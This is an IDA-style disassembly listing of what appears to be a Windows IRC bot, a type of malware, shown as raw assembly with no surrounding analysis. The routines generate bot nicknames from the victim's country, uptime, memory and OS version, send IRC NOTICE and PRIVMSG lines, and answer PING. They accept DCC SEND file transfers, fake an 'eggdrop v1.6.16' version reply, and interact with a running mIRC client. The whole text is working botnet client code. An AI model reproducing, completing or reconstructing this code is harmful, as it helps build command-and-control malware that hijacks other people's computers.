		mov	[ebp+var_188], eax
		cmp	[ebp+var_188], 4
		jnb	short loc_40D18D
		call	sub_406AE7
		test	eax, eax
		jz	loc_40D31F


loc_40D18D:				; CODE XREF: sub_40D043+13Bj
		call	sub_406A23
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_408342
		pop	ecx
		test	eax, eax
		jnz	short loc_40D1B6
		push	offset aUnk	; "UNK"
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40D1B6:				; CODE XREF: sub_40D043+15Ej
		call	sub_408E8E
		cmp	eax, 400h
		jbe	short loc_40D1CF
		call	sub_408E8E
		mov	[ebp+var_250], eax
		jmp	short loc_40D1D9
; ---------------------------------------------------------------------------


loc_40D1CF:				; CODE XREF: sub_40D043+17Dj
		mov	[ebp+var_250], 400h


loc_40D1D9:				; CODE XREF: sub_40D043+18Aj
		mov	eax, [ebp+var_250]
		shr	eax, 0Ah
		mov	[ebp+var_228], eax
		call	sub_408887
		mov	[ebp+var_18C], eax
		mov	[ebp+var_224], offset aB ; "B"
		cmp	[ebp+var_18C], 2EEh
		jnb	short loc_40D213
		mov	[ebp+var_224], offset aA ; "A"


loc_40D213:				; CODE XREF: sub_40D043+1C4j
		cmp	[ebp+var_18C], 1F4h
		jnb	short loc_40D229
		mov	[ebp+var_224], offset aG ; "G"


loc_40D229:				; CODE XREF: sub_40D043+1DAj
		and	[ebp+var_22C], 0
		mov	[ebp+var_220], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_21C]
		rep stosd
		lea	eax, [ebp+var_220]
		push	eax
		call	dword_417030	; GetVersionExA
		cmp	[ebp+var_21C], 5
		jnz	short loc_40D270
		cmp	[ebp+var_218], 1
		jnz	short loc_40D270
		mov	[ebp+var_22C], 1


loc_40D270:				; CODE XREF: sub_40D043+218j
					; sub_40D043+221j
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		cmp	[ebp+var_22C], 0
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	[ebp+var_224]
		push	[ebp+var_228]
		push	5Dh
		push	[ebp+var_188]
		push	5Bh
		push	5Dh
		lea	eax, [ebp+var_24C]
		push	eax
		push	5Bh
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 34h
		movsx	eax, byte_41DB00
		test	eax, eax
		jz	short loc_40D31D
		push	offset byte_41DB00
		push	offset dword_41DA80
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41DA80
		call	sub_4105FB
		pop	ecx
		movsx	eax, byte_41DB80
		test	eax, eax
		jz	short loc_40D31D
		push	offset byte_41DB80
		push	offset dword_41ED18
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41ED18
		call	sub_4105FB
		pop	ecx


loc_40D31D:				; CODE XREF: sub_40D043+295j
					; sub_40D043+2BCj
		jmp	short loc_40D343
; ---------------------------------------------------------------------------


loc_40D31F:				; CODE XREF: sub_40D043+144j
		push	offset dword_41DA70
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40D7E5
		pop	ecx


loc_40D343:				; CODE XREF: sub_40D043:loc_40D31Dj
		lea	eax, [ebp+var_80]
		push	eax
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		push	offset byte_41EE18
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40D363:				; CODE XREF: sub_40D043+F3j
					; sub_40D043+11Bj
		pop	edi
		leave
		retn
sub_40D043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D366	proc near		; CODE XREF: sub_40A9CF+1521p
					; sub_40D871+4A7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF2F
		add	esp, 0Ch
		push	dword_41E974
		call	sub_40538D
		pop	ecx
		mov	[ebp+var_4], 0EA60h


loc_40D38E:				; CODE XREF: sub_40D366:loc_40D419j
		push	offset dword_41E868
		call	sub_4105FB
		pop	ecx
		push	offset dword_41E968
		call	sub_4105FB
		pop	ecx
		push	2710h
		push	1
		push	offset dword_41E968
		push	offset dword_41E868
		call	sub_4050EA
		add	esp, 10h
		mov	dword_41E974, eax
		push	offset dword_41E868
		call	sub_4105AD
		pop	ecx
		push	offset dword_41E968
		call	sub_4105AD
		pop	ecx
		cmp	dword_41E974, 0
		jz	short loc_40D3EE
		push	1
		push	1
		call	sub_40D043
		pop	ecx
		pop	ecx
		jmp	short locret_40D41E
; ---------------------------------------------------------------------------


loc_40D3EE:				; CODE XREF: sub_40D366+79j
		push	0
		push	0
		push	0
		call	sub_40CF2F
		add	esp, 0Ch
		push	[ebp+var_4]
		call	dword_41709C	; Sleep
		cmp	[ebp+var_4], 0A4CB80h
		jge	short loc_40D419
		mov	eax, [ebp+var_4]
		add	eax, 0EA60h
		mov	[ebp+var_4], eax


loc_40D419:				; CODE XREF: sub_40D366+A6j
		jmp	loc_40D38E
; ---------------------------------------------------------------------------

locret_40D41E:				; CODE XREF: sub_40D366+86j
		leave
		retn
sub_40D366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D420	proc near		; CODE XREF: sub_4020C2+1DEp
					; sub_40A9CF+1219p ...

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		push	[ebp+arg_0]
		push	offset aNoticeS	; "NOTICE %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_8]
		lea	eax, [ebp+eax+var_1008]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_41E974
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D420	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D4AB	proc near		; CODE XREF: sub_4020C2+21Bp
					; sub_40332B+1A6p ...

var_1008	= dword	ptr -1008h
var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		push	[ebp+arg_0]
		push	offset aPrivmsgS ; "PRIVMSG %s :"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_1008],	eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_1008]
		push	eax
		mov	eax, [ebp+var_1008]
		lea	eax, [ebp+eax+var_1004]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1004]
		push	eax
		push	dword_41E974
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D4AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D53F	proc near		; CODE XREF: sub_401244+51p
					; sub_401244+41Ep ...

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+198h]
		test	eax, eax
		jz	short loc_40D55F
		jmp	locret_40D6C9
; ---------------------------------------------------------------------------


loc_40D55F:				; CODE XREF: sub_40D53F+19j
		and	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 1
		jnz	short loc_40D58F
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset aNoticeS	; "NOTICE %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------


loc_40D58F:				; CODE XREF: sub_40D53F+2Ej
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jnz	short loc_40D5BB
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset dword_41A058
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------


loc_40D5BB:				; CODE XREF: sub_40D53F+5Aj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D5E7
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset dword_41A048
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------


loc_40D5E7:				; CODE XREF: sub_40D53F+86j
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset aPrivmsgS ; "PRIVMSG %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax


loc_40D605:				; CODE XREF: sub_40D53F+4Ej
					; sub_40D53F+7Aj ...
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+19Fh], 0
		jz	short loc_40D63C
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jz	short loc_40D629
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D63C


loc_40D629:				; CODE XREF: sub_40D53F+DCj
		push	offset dword_41A03C
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx


loc_40D63C:				; CODE XREF: sub_40D53F+D0j
					; sub_40D53F+E8j
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_8]
		lea	eax, [ebp+eax+var_1008]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jz	short loc_40D680
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D693


loc_40D680:				; CODE XREF: sub_40D53F+133j
		push	offset dword_41A038
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx


loc_40D693:				; CODE XREF: sub_40D53F+13Fj
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_41E974
		call	sub_4053BF
		add	esp, 0Ch

locret_40D6C9:				; CODE XREF: sub_40D53F+1Bj
		leave
		retn
sub_40D53F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D6CB	proc near		; CODE XREF: sub_40332B+205p
					; sub_40332B+212p ...

var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1004h
		call	sub_416BC0
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	1000h
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1004]
		push	eax
		push	dword_41E974
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D6CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D734	proc near		; CODE XREF: sub_40D74D:loc_40D75Ep

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	offset aMirc	; "mIRC"
		call	dword_4171E8	; FindWindowA
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_40D734	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D74D	proc near		; CODE XREF: sub_40A9CF+926p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jnz	short loc_40D75E
		jmp	locret_40D7E3
; ---------------------------------------------------------------------------


loc_40D75E:				; CODE XREF: sub_40D74D+Aj
		call	sub_40D734
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40D76E
		jmp	short locret_40D7E3
; ---------------------------------------------------------------------------


loc_40D76E:				; CODE XREF: sub_40D74D+1Dj
		push	offset aMirc	; "mIRC"
		push	1000h
		push	0
		push	4
		push	0
		push	0FFFFFFFFh
		call	dword_4170C0	; CreateFileMappingA
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	0
		push	0F001Fh
		push	[ebp+var_8]
		call	dword_4170BC	; MapViewOfFile
		mov	[ebp+var_C], eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		push	0
		push	1
		push	4C8h
		push	[ebp+var_4]
		call	dword_4171EC	; SendMessageA
		push	0
		push	1
		push	4C9h
		push	[ebp+var_4]
		call	dword_4171EC	; SendMessageA
		push	[ebp+var_C]
		call	dword_4170B8	; UnmapViewOfFile
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle

locret_40D7E3:				; CODE XREF: sub_40D74D+Cj
					; sub_40D74D+1Fj
		leave
		retn
sub_40D74D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D7E5	proc near		; CODE XREF: sub_40A9CF+E3p
					; sub_40D043+2FAp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_40D803
; ---------------------------------------------------------------------------


loc_40D7FC:				; CODE XREF: sub_40D7E5:loc_40D86Dj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40D803:				; CODE XREF: sub_40D7E5+15j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jge	short locret_40D86F
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40D82E
		push	39h
		push	30h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_40D86D
; ---------------------------------------------------------------------------


loc_40D82E:				; CODE XREF: sub_40D7E5+32j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40D86D
		call	sub_410483
		test	eax, eax
		jz	short loc_40D85A
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_40D86D
; ---------------------------------------------------------------------------


loc_40D85A:				; CODE XREF: sub_40D7E5+5Ej
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al


loc_40D86D:				; CODE XREF: sub_40D7E5+47j
					; sub_40D7E5+55j ...
		jmp	short loc_40D7FC
; ---------------------------------------------------------------------------

locret_40D86F:				; CODE XREF: sub_40D7E5+24j
		leave
		retn
sub_40D7E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D871	proc near		; CODE XREF: sub_40E618+321p

var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_7E0		= dword	ptr -7E0h
var_7DC		= byte ptr -7DCh
var_7D8		= dword	ptr -7D8h
var_7D4		= dword	ptr -7D4h
var_7D0		= dword	ptr -7D0h
var_7CC		= dword	ptr -7CCh
var_7C8		= dword	ptr -7C8h
var_7C4		= byte ptr -7C4h
var_7C0		= dword	ptr -7C0h
var_7BC		= byte ptr -7BCh
var_5BC		= dword	ptr -5BCh
var_5B8		= dword	ptr -5B8h
var_5B4		= byte ptr -5B4h
var_4B4		= byte ptr -4B4h
var_490		= byte ptr -490h
var_390		= byte ptr -390h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_35C		= dword	ptr -35Ch
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_238		= dword	ptr -238h
var_234		= byte ptr -234h
var_213		= byte ptr -213h
var_113		= dword	ptr -113h
var_10F		= byte ptr -10Fh
var_95		= dword	ptr -95h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	edi
		push	offset aPing	; "PING"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8A7
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		push	offset aPongS	; "PONG	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D8A7:				; CODE XREF: sub_40D871+1Dj
		push	offset aPong	; "PONG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8C2
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D8C2:				; CODE XREF: sub_40D871+4Aj
		push	offset aMode	; "MODE"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8DD
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D8DD:				; CODE XREF: sub_40D871+65j
		push	offset aPrivmsg	; "PRIVMSG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DB2D
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jz	loc_40DB2D
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 1
		jnz	loc_40DB2D
		push	offset dword_41A14C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DA81
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+10h], 0
		jz	loc_40DA81
		push	offset aSend	; "SEND"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+10h]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DA81
		cmp	[ebp+arg_0], 0
		jz	loc_40DA81
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+20h], 0
		jnz	short loc_40D98B


loc_40D986:				; CODE XREF: sub_40D871+F8j
					; sub_40D871+101j ...
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D98B:				; CODE XREF: sub_40D871+113j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+14h]
		movsx	eax, byte ptr [eax]
		cmp	eax, 22h
		jnz	short loc_40D99E
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D99E:				; CODE XREF: sub_40D871+126j
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+20h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+20h]
		and	byte ptr [ecx+eax], 0
		push	[ebp+arg_4]
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41DA80
		lea	eax, [ebp+var_213]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		and	[ebp+var_113], 0
		push	7Ah
		push	0
		lea	eax, [ebp+var_10F]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_95], 1
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+18h]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_238], eax
		movzx	eax, byte ptr [ebp+var_238]
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 8
		movzx	eax, al
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 10h
		movzx	eax, al
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 18h
		movzx	eax, al
		push	eax
		push	offset dword_418A50
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 18h
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+20h]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_248]
		push	eax
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+14h]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_4024F3
		add	esp, 18h
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DA81:				; CODE XREF: sub_40D871+BAj
					; sub_40D871+C7j ...
		push	offset dword_41A138
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DAAD
		push	offset dword_41A12C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DAEB


loc_40DAAD:				; CODE XREF: sub_40D871+224j
		cmp	[ebp+arg_0], 0
		jz	short loc_40DAD1
		push	offset dword_41DC00
		push	3B7h
		push	0
		push	offset dword_41A108
		push	[ebp+arg_4]
		call	sub_40D420
		add	esp, 14h
		jmp	short loc_40DAE6
; ---------------------------------------------------------------------------


loc_40DAD1:				; CODE XREF: sub_40D871+240j
		push	offset aEggdropV1_6_16 ; "eggdrop v1.6.16"
		push	offset dword_41A0E8
		push	[ebp+arg_4]
		call	sub_40D420
		add	esp, 0Ch


loc_40DAE6:				; CODE XREF: sub_40D871+25Ej
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DAEB:				; CODE XREF: sub_40D871+23Aj
		push	offset dword_41A0E0
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DB16
		push	offset dword_41A0D8
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	short loc_40DB2D


loc_40DB16:				; CODE XREF: sub_40D871+28Ej
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		push	eax
		push	[ebp+arg_4]
		call	sub_40D420
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DB2D:				; CODE XREF: sub_40D871+80j
					; sub_40D871+8Dj ...
		push	offset a433	; "433"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DCFD
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_2CC], eax
		cmp	[ebp+var_2CC], 4
		jnb	short loc_40DB71
		call	sub_406AE7
		test	eax, eax
		jz	loc_40DCB8


loc_40DB71:				; CODE XREF: sub_40D871+2F1j
		call	sub_406A23
		lea	eax, [ebp+var_390]
		push	eax
		call	sub_408342
		pop	ecx
		test	eax, eax
		jnz	short loc_40DB9A
		push	offset aUnk	; "UNK"
		lea	eax, [ebp+var_390]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40DB9A:				; CODE XREF: sub_40D871+314j
		call	sub_408E8E
		cmp	eax, 400h
		jbe	short loc_40DBB3
		call	sub_408E8E
		mov	[ebp+var_7E4], eax
		jmp	short loc_40DBBD
; ---------------------------------------------------------------------------


loc_40DBB3:				; CODE XREF: sub_40D871+333j
		mov	[ebp+var_7E4], 400h


loc_40DBBD:				; CODE XREF: sub_40D871+340j
		mov	eax, [ebp+var_7E4]
		shr	eax, 0Ah
		mov	[ebp+var_36C], eax
		call	sub_408887
		mov	[ebp+var_2D0], eax
		mov	[ebp+var_368], offset aB ; "B"
		cmp	[ebp+var_2D0], 3E8h
		jnb	short loc_40DBF7
		mov	[ebp+var_368], offset aA ; "A"


loc_40DBF7:				; CODE XREF: sub_40D871+37Aj
		cmp	[ebp+var_2D0], 1F4h
		jnb	short loc_40DC0D
		mov	[ebp+var_368], offset aG ; "G"


loc_40DC0D:				; CODE XREF: sub_40D871+390j
		and	[ebp+var_370], 0
		mov	[ebp+var_364], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_360]
		rep stosd
		lea	eax, [ebp+var_364]
		push	eax
		call	dword_417030	; GetVersionExA
		cmp	[ebp+var_360], 5
		jnz	short loc_40DC54
		cmp	[ebp+var_35C], 1
		jnz	short loc_40DC54
		mov	[ebp+var_370], 1


loc_40DC54:				; CODE XREF: sub_40D871+3CEj
					; sub_40D871+3D7j
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		cmp	[ebp+var_370], 0
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	5Dh
		push	[ebp+var_2CC]
		push	5Bh
		push	5Dh
		lea	eax, [ebp+var_390]
		push	eax
		push	5Bh
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 34h
		jmp	short loc_40DCE5
; ---------------------------------------------------------------------------


